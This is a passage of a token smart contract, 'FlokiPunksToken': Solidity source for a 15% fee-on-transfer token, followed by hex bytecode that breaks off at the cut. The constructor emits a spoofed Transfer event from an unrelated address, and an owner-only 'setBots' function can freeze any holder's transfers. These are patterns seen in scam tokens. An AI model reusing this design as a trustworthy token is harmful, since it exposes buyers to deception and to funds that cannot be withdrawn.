string private constant _name = "FlokiPunksToken"; string private constant _symbol = "FlokiPunks"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0xC352B534e8b987e036A93539Fd6897F53488e56a), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600f81526020017f466c6f6b6950756e6b73546f6b656e0000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f466c6f6b6950756e6b7300000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a81905550600a600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082